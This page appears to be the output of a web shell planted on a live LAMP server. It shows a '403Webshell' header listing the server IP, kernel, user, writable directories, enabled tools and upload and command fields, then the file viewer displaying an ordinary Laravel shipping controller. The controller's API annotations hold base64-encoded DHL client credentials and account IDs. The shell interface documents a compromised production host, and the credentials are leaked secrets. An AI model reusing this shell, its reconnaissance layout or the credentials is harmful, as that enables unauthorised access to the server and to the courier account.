403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Controllers/ShippingController.php
<?php

namespace App\Http\Controllers;

use App\Http\Services\ShippingService;
use App\Http\Services\DhlService;
use Illuminate\Http\Request;
use App\Http\Requests\Shippings\GetDeliveryPartnerRequest;
use App\Http\Requests\Shippings\CalculateFeeRequest;

class ShippingController extends Controller
{	

	public function __construct(
		ShippingService $shippingService,
		DhlService $dhlService
	)
	{
		$this->shippingService = $shippingService;
		$this->dhlService = $dhlService;
	}


	/**
	* @OA\Get(
	*
	*	path="/api/shipping/delivery-partners",
	*	operationId="getDeliveryPartners",
	*	tags={"Shipping"},
	*	summary="Get Delivery Partners by Postcode",
	*	security={
	*		{
	*			"open_key": {}
	*		}
	*	},
	*	@OA\Parameter(
	*		name="locker_postcode",
	*		description="Locker Postcode",
	*		in="query",
	*		@OA\Schema(
	*			type="string"
	*		)
	*	),
	*	@OA\Parameter(
	*		name="delivery_postcode",
	*		description="Delivery Postcode",
	*		in="query",
	*		@OA\Schema(
	*			type="string"
	*		)
	*	),
	*	@OA\Parameter(
	*		name="locker_id",
	*		description="locker_id",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default="4"
	*		)
	*	),
	*	@OA\Parameter(
	*		name="box_size_id",
	*		description="box_size_id",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default="2"
	*		)
	*	),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/


	/**
	* @OA\Post(
	*
	*	path="/api/shipping/dhl/label/reprint",
	*	operationId="postReprintShippingLabel",
	*	tags={"Shipping - DHL"},
	*	summary="Reprint Shipping Label",
    *   @OA\RequestBody(
    *       description="https://jsonkeeper.com/b/1GGS",
    *       @OA\JsonContent(
    *       )
    *   ),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/

	/**
	* @OA\Post(
	*
	*	path="/api/shipping/dhl/shipment/creation",
	*	operationId="postShipmentCreation",
	*	tags={"Shipping - DHL"},
	*	summary="Create Shipment",
    *   @OA\RequestBody(
    *       description="https://jsonkeeper.com/b/NWRF",
    *       @OA\JsonContent(
	*			default="{""client_id"":""LTE2NDY2NzIwMg=="",""password"":""MjAzMDI5MTU"",""pickupAccountId"":""5264574522"",""soldToAccountId"":""5264574522"",""pickupDateTime"":""2021-11-08"",""handoverMethod"":""1"",""pickupAddress"":{""name"":""test"",""address1"":""test"",""address2"":""test"",""city"":""test"",""state"":""test"",""district"":""test"",""country"":""MY"",""postCode"":""00000"",""phone"":""123456789"",""email"":""johndoe@aa.com""},""shipmentItems"":[{""totalWeight"":""1"",""height"":""1.00"",""length"":""1.00"",""width"":""1.00"",""consigneeAddress"":{""name"":""test"",""address1"":""test"",""address2"":""test"",""city"":""test"",""state"":""test"",""district"":""test"",""country"":""MY"",""postCode"":""10000"",""phone"":""000"",""email"":""test@tst.com""},""currency"":""MYR"",""packageDesc"":""test""}]}"
    *       )
    *   ),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/

	/**
	* @OA\Post(
	*
	*	path="/api/shipping/dhl/tracking",
	*	operationId="postTracking",
	*	tags={"Shipping - DHL"},
	*	summary="Track Shipping",
    *   @OA\RequestBody(
    *       description="https://jsonkeeper.com/b/QQS9",
    *       @OA\JsonContent(
    *       )
    *   ),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/

	public function getDeliveryPartners(GetDeliveryPartnerRequest $request)
	{
		$payload = $request->validated();
		$result = $this->shippingService->getDeliveryPartners($payload['locker_postcode'], $payload['delivery_postcode'], $payload['locker_id'] ?? null, $payload['box_size_id'] ?? null);

		return self::successResponse("Success", $result);
	}

	public function calculateShippingFee(CalculateFeeRequest $request)
	{
		$payload = $request->validated();
		$payload['subtotal'] = null;

		$result = $this->shippingService->calculateShippingFee($payload['locker_postcode'], $payload['delivery_postcode'], $payload['courier_id'], $payload['subtotal'], $payload['item_weight']);

		return self::successResponse("Success", $result);
	}

	public function postReprintShippingLabel(Request $request)
	{
		$result = $this->dhlService->reprintShippingLabel(
			$this->dhlService->getAccessToken($request->client_id, $request->password),
			$request->pickupAccountId, 
			$request->soldToAccountId, 
			$request->shipmentID
		);

		return self::successResponse("Success", $result);
	}

	public function postShipmentCreation(Request $request)
	{
		
		$result = $this->dhlService->createShipment($request);

		return self::successResponse("Success", $result);
	}

	public function postTracking(Request $request)
	{
		$result = $this->dhlService->tracking( 
			$request->pickupAccountId, 
			$request->soldToAccountId,
			$request->trackingReferenceNumber
		);

		return self::successResponse("Success", $result);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit